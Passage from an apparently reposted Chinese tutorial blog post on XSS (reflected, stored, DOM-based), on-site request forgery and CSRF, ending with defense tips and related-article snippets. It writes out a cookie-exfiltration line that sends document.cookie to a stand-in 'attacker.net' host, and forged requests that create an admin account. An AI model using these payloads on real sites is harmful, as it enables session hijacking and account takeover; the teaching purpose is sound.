摘要:請(qǐng)求偽造在跨站攻擊中,攻擊者需要獲得受害者的會(huì)話(huà)令牌,請(qǐng)求偽造也與會(huì)話(huà)劫持相關(guān),但是攻擊者不需要知道受害者的會(huì)話(huà)令牌,就能夠行駛受害者的權(quán)利。
差不多剛開(kāi)始接觸前端的時(shí)候,經(jīng)常能看到一些早幾年入行大牛們的簡(jiǎn)歷,幾乎所有人都會(huì)在簡(jiǎn)歷中帶上這么一句話(huà):具備基本的 Web 安全知識(shí)(XSS / CSRF)。顯然這已經(jīng)成為前端人員的必備知識(shí)。
非常懷念那個(gè) SQL 注入還沒(méi)有被普遍認(rèn)可的年代,雖然這么多年過(guò)去了,SQL 注入并沒(méi)有消失,仍然是最危險(xiǎn)的漏洞。關(guān)于 SQL 注入的原理,可以看我之前寫(xiě)的文章SQL 注入詳解。今天是主題是 Web 安全的另外兩大殺手,XSS 和 CSRF。
XSS 的分類(lèi)XSS 漏洞有多種形式,分為三類(lèi),反射型、保存型和基于 DOM 的 XSS 攻擊。這些漏洞的基本原理都是一樣的,但是確定和利用漏洞方面又存在很大的差異,下面將對(duì)這三種漏洞詳細(xì)介紹。
反射型 XSS 漏洞前面廢話(huà)一大堆,還是沒(méi)有說(shuō) XSS 漏洞到底是什么。如果一個(gè) Web 程序可以動(dòng)態(tài)的顯示用戶(hù)的錯(cuò)誤消息,就有可能會(huì)產(chǎn)生反射型漏洞。
用戶(hù)瀏覽網(wǎng)頁(yè)時(shí)發(fā)送錯(cuò)誤,向服務(wù)器請(qǐng)求 URL,比如www.xxx.com/error.php?message=sorry,an error occurred,然后服務(wù)器根據(jù)得到的 message,不進(jìn)行過(guò)濾,復(fù)制到錯(cuò)誤頁(yè)面的模板中:
sorry,an error occurred
,返回給用戶(hù)。這個(gè)漏洞有一個(gè)顯著的特征,應(yīng)用程序沒(méi)有進(jìn)行任何過(guò)濾或凈化措施,就非常容易受到攻擊。www.xxx.com/error.php?message=,當(dāng)用戶(hù)打開(kāi)錯(cuò)誤頁(yè)面時(shí),就會(huì)出現(xiàn)
,彈出一個(gè)消息框。顯然,攻擊人員不會(huì)很傻的僅僅 alert 一些消息,在 IE 中,如果開(kāi)啟跨站點(diǎn)腳本檢測(cè)可能無(wú)法彈出消息。通常 XSS 都會(huì)伴隨著會(huì)話(huà)劫持,攻擊者截獲通過(guò)驗(yàn)證的用戶(hù)的會(huì)話(huà)令牌。劫持用戶(hù)的會(huì)話(huà)后,攻擊者就可以訪(fǎng)問(wèn)該用戶(hù)授權(quán)訪(fǎng)問(wèn)的所有數(shù)據(jù)和功能。
比如攻擊者構(gòu)造一個(gè)這樣的 URL,message 信息如下
var i = new Image; i.src="http://attacker.net/"+document.cookie;
這樣被攻擊者通過(guò)訪(fǎng)問(wèn)這個(gè)惡意的 URL,就會(huì)把 cookie 發(fā)送給黑客,黑客截獲 cookie,就能執(zhí)行用戶(hù)的任意操縱。下圖是一個(gè)簡(jiǎn)易的流程圖:
這個(gè)圖還有一個(gè)重要的點(diǎn)沒(méi)有標(biāo)明出來(lái),就是前提是受害者要先登錄到 Bank.com 的網(wǎng)站上。
由于瀏覽器的同源策略,直接向 attacker.net 發(fā)送 document.cookie 是無(wú)法獲得 www.xxx.com 的 cookie,因?yàn)闉g覽器會(huì)對(duì)不同源(域)的內(nèi)容進(jìn)行隔離,這就是該漏洞被稱(chēng)為跨站腳本的原因。
保存型 XSS 漏洞保存型跨站腳本也是比較常見(jiàn)的漏洞,腳本通常保存在后端數(shù)據(jù)庫(kù)中,不經(jīng)過(guò)濾就存儲(chǔ)并且顯示給用戶(hù),此時(shí)就會(huì)出現(xiàn)這種漏洞。
與反射型的流程不同的是,保存型需要向服務(wù)器提出至少兩次請(qǐng)求,第一次將含有惡意代碼的數(shù)據(jù)提交給服務(wù)器,服務(wù)器將數(shù)據(jù)保存,第二次是受害者想服務(wù)器提出訪(fǎng)問(wèn)含有惡意代碼數(shù)據(jù)的頁(yè)面,惡意代碼執(zhí)行。
與反射型不同的是,保存型不需要一個(gè)專(zhuān)門(mén)設(shè)計(jì)的 URL 來(lái)接收 cookie,只需要將含有惡意代碼的頁(yè)面發(fā)給用戶(hù),等待受害者訪(fǎng)問(wèn)即可。不過(guò),也可用保存型的漏洞來(lái)獲取用戶(hù) cookie 進(jìn)行劫持。
還有一個(gè)不同點(diǎn),反射型的漏洞,必須要等受害者登陸后,才能保證 cookie 的正常獲得,而保存型的漏洞,受害者一般是先登錄,然后訪(fǎng)問(wèn)改站點(diǎn)有危險(xiǎn)的頁(yè)面。
舉一個(gè)例子,比如某社交論壇存在保存型的 XSS 漏洞,黑客將自己的個(gè)人信息一欄修改成惡意的 JS 代碼,改代碼實(shí)現(xiàn)兩個(gè)功能,首先受害者加自己為好友,其次修改受害者的個(gè)人信息為該惡意代碼。黑客把個(gè)人信息保存并提交給服務(wù)器,只需要等受害者訪(fǎng)問(wèn)自己的個(gè)人信息頁(yè)面,瀏覽器就會(huì)執(zhí)行該惡意腳本,于是可怕的“蠕蟲(chóng)”就開(kāi)始了。
基于 DOM 的 XSS 漏洞前兩種 XSS 漏洞,都表現(xiàn)一種特殊的模式,就是應(yīng)用程序提取數(shù)據(jù)并返回給受害者,而基于 DOM 的 XSS 不具有這種特點(diǎn),攻擊者是借助于 JavaScript 來(lái)展開(kāi)攻擊的。
用戶(hù)請(qǐng)求一個(gè)經(jīng)過(guò)專(zhuān)門(mén)設(shè)計(jì)的 URL,由攻擊者提交,包括嵌入式的 JavaScript;
服務(wù)器的響應(yīng)不包含任何攻擊者的腳本,同時(shí)服務(wù)器也不會(huì)對(duì) URL 進(jìn)行檢測(cè);
當(dāng)用戶(hù)瀏覽這個(gè)響應(yīng)時(shí),腳本得以處理。
與反射型漏洞類(lèi)似,都是對(duì) URL 進(jìn)行特殊構(gòu)造,不同的是,反射型是由服務(wù)器處理 URL,而 DOM 型是由 JavaScript 腳本來(lái)處理。還以剛才那個(gè)反射型為例子,假設(shè)應(yīng)用程序返回的錯(cuò)誤頁(yè)面包含以下 JS 腳本:
同樣給受害者發(fā)送這樣的鏈接 www.xxx.com/error.php?message=,也可以開(kāi)展 XSS 漏洞攻擊。基于 DOM 的漏洞不局限與 URL,還可以是頁(yè)面某個(gè) DOM 的內(nèi)容,這和存儲(chǔ)型的 XSS 又聯(lián)系到一起。
這個(gè)時(shí)候就需要些 JS 的同學(xué)小心謹(jǐn)慎了,萬(wàn)一寫(xiě)出含有漏洞的代碼,這鍋得自己背。
請(qǐng)求偽造在 XSS 跨站攻擊中,攻擊者需要獲得受害者的會(huì)話(huà)令牌,請(qǐng)求偽造也與會(huì)話(huà)劫持相關(guān),但是攻擊者不需要知道受害者的會(huì)話(huà)令牌,就能夠行駛“受害者”的權(quán)利。請(qǐng)求偽造有兩種,本站點(diǎn)請(qǐng)求偽造(OSRF)和跨站點(diǎn)請(qǐng)求偽造(CSRF),
OSRFOSRF 是一種利用保存型 XSS 漏洞的攻擊載荷,如果在得知應(yīng)用程序?qū)?XSS 漏洞過(guò)濾的情況下,可以嘗試 OSRF 攻擊。
比如這是一個(gè)某站點(diǎn) POST 請(qǐng)求,該站點(diǎn)過(guò)濾 XSS 攻擊,
POST /submit.php Host: xxx.com Content-Length: .. type=question&name=ge&message=mes
然后該信息將會(huì)被插入到如下的 HTML 中:
ge mes
這個(gè)漏洞很容易利用,直接用 type 的值來(lái)表示 jpg 的name,然后我們構(gòu)造 type 的值等于下面的內(nèi)容(這不就是利用路徑來(lái)搞事嗎),
../admin/newuser.php?username=test&password=123&role=admin#
使用上面的介紹,相對(duì)應(yīng)的構(gòu)造一個(gè)表單提交,創(chuàng)建一個(gè)管理員權(quán)限的用戶(hù),普通用戶(hù)點(diǎn)擊是不會(huì)成功的,因?yàn)闄?quán)限不夠,但是如果是管理員點(diǎn)擊該鏈接的話(huà),就會(huì)創(chuàng)建一個(gè)秘密賬戶(hù),所以,即時(shí)對(duì) URL 禁用了 JavaScript 腳本,還是可以通過(guò) OSRF 攻擊成功。
在攻擊字符串的最后使用了 # ,是為了對(duì) .jpg 進(jìn)行屏蔽,也可以添加 & 組成另一個(gè)參數(shù)。
以上便是一個(gè)簡(jiǎn)單的本站點(diǎn)請(qǐng)求偽造的例子。
CSRF跨站點(diǎn)請(qǐng)求偽造才是跨站偽造的重點(diǎn)內(nèi)容,攻擊者只需要?jiǎng)?chuàng)建一個(gè)看似無(wú)害的網(wǎng)站,致使受害者的瀏覽器直接向易受攻擊的服務(wù)器提交一個(gè)請(qǐng)求,執(zhí)行惡意代碼。
仍然需要考慮同源策略,仍然以管理員創(chuàng)建新用戶(hù)為例,
POST /newUser.php HTTP/1.1 Host: xxx.com Cookie: SessionId=... Content-Length: .. name=ro&userrole=admin&password=123456&confirmpassword=123456
黑客構(gòu)造的網(wǎng)站會(huì)提交一個(gè) form 表單,并想辦法讓 form 隱藏:
<
當(dāng)管理員已經(jīng)登陸的情況下,訪(fǎng)問(wèn)這個(gè)惡意網(wǎng)站的時(shí)候,就會(huì)提交這段腳本,管理員都不知情。因?yàn)楣芾韱T已經(jīng)登陸,無(wú)需考慮 Cookie 的問(wèn)題,一個(gè)簡(jiǎn)單的 CSRF 如此。
總結(jié)其實(shí)攻擊很簡(jiǎn)單,主要的還是如何防御,比如
對(duì)一些關(guān)鍵字和特殊字符進(jìn)行過(guò)濾或 URL、HTML 編碼,"<>?"或"script,javascript";
Cookie 防盜,在 Cookie 中防止放入用戶(hù)名和密碼,對(duì) Cookie 信息進(jìn)行 MD5 等算法進(jìn)行多次散列存放,必要時(shí)還要對(duì) ip 和 cookie 進(jìn)行綁定,一旦檢測(cè)異常,立馬讓用戶(hù)重新登錄;
嚴(yán)格控制 URL 訪(fǎng)問(wèn),對(duì)于一些掛馬的 ip 和域名,強(qiáng)制無(wú)法訪(fǎng)問(wèn);
等等
共勉。
參考跨站腳本攻擊介紹
那些年我們一起學(xué) XSS
總結(jié) XSS 與 CSRF 兩種跨站攻擊
書(shū)籍:《黑客攻防技術(shù)寶典 Web實(shí)戰(zhàn)篇》
歡迎來(lái)我博客交流。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://specialneedsforspecialkids.com/yun/91201.html
摘要:但最近又聽(tīng)說(shuō)了另一種跨站攻擊,于是找了些資料了解了一下,并與放在一起做個(gè)比較。腳本中的不速之客全稱(chēng)跨站腳本,是注入攻擊的一種。 XSS:跨站腳本(Cross-site scripting) CSRF:跨站請(qǐng)求偽造(Cross-site request forgery) 在那個(gè)年代,大家一般用拼接字符串的方式來(lái)構(gòu)造動(dòng)態(tài) SQL 語(yǔ)句創(chuàng)建應(yīng)用,于是 SQL 注入成了很流行的攻擊方式。...
摘要:它允許惡意用戶(hù)將代碼注入到網(wǎng)頁(yè)上,其他用戶(hù)在觀(guān)看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類(lèi)攻擊通常包含了以及用戶(hù)端腳本語(yǔ)言。更偏向于方法論,更偏向于一種形式,只要是偽造用戶(hù)發(fā)起的請(qǐng)求,都可成為攻擊。 這兩個(gè)關(guān)鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個(gè)關(guān)鍵詞時(shí)常被拉出來(lái)一起比較(尤其是面試),我在這里也在寫(xiě)一篇掃盲文,也幫自己整理一下知識(shí)脈絡(luò)。 這篇文章會(huì)用盡量人話(huà)的語(yǔ)言解...
摘要:它允許惡意用戶(hù)將代碼注入到網(wǎng)頁(yè)上,其他用戶(hù)在觀(guān)看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類(lèi)攻擊通常包含了以及用戶(hù)端腳本語(yǔ)言。更偏向于方法論,更偏向于一種形式,只要是偽造用戶(hù)發(fā)起的請(qǐng)求,都可成為攻擊。 這兩個(gè)關(guān)鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個(gè)關(guān)鍵詞時(shí)常被拉出來(lái)一起比較(尤其是面試),我在這里也在寫(xiě)一篇掃盲文,也幫自己整理一下知識(shí)脈絡(luò)。 這篇文章會(huì)用盡量人話(huà)的語(yǔ)言解...
摘要:跨站腳本攻擊可能造成以下影響利用虛假輸入表單騙取用戶(hù)個(gè)人信息。不僅僅是前端負(fù)責(zé),后端也要做相同的過(guò)濾檢查。張三登錄了銀行的網(wǎng)站沒(méi)有退出,訪(fǎng)問(wèn)了黑客王五的網(wǎng)站,上述的就會(huì)向銀行發(fā)起請(qǐng)求。 原文連接 https://jkchao.cn/article/59d... XSS xss: 跨站腳本攻擊(Cross Site Scripting)是最常見(jiàn)和基本的攻擊 WEB 網(wǎng)站方法,攻擊者通過(guò)...
摘要:可能造成危害利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限更新設(shè)定信息等利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限購(gòu)買(mǎi)商品利用已通過(guò)的用戶(hù)權(quán)限在留言板上發(fā)表言論。二說(shuō)說(shuō)你說(shuō)了解的前端性能優(yōu)化方面減少請(qǐng)求合并文件精靈減少查詢(xún)查詢(xún)完成之前瀏覽器不能從這個(gè)主機(jī)下載任何任何文件。 一、說(shuō)說(shuō)你所知道的web安全及防護(hù)措施 常用攻擊手段:SQL注入、XSS(Cross Site Script),跨站腳本攻擊、CSRF(Cross Sit...
閱讀 1785·2023-04-26 00:47
閱讀 1543·2021-11-11 16:55
閱讀 2597·2021-09-27 14:04
閱讀 3548·2021-09-22 15:58
閱讀 3554·2021-07-26 23:38
閱讀 2129·2019-08-30 13:47
閱讀 1979·2019-08-30 13:15
閱讀 1141·2019-08-29 17:09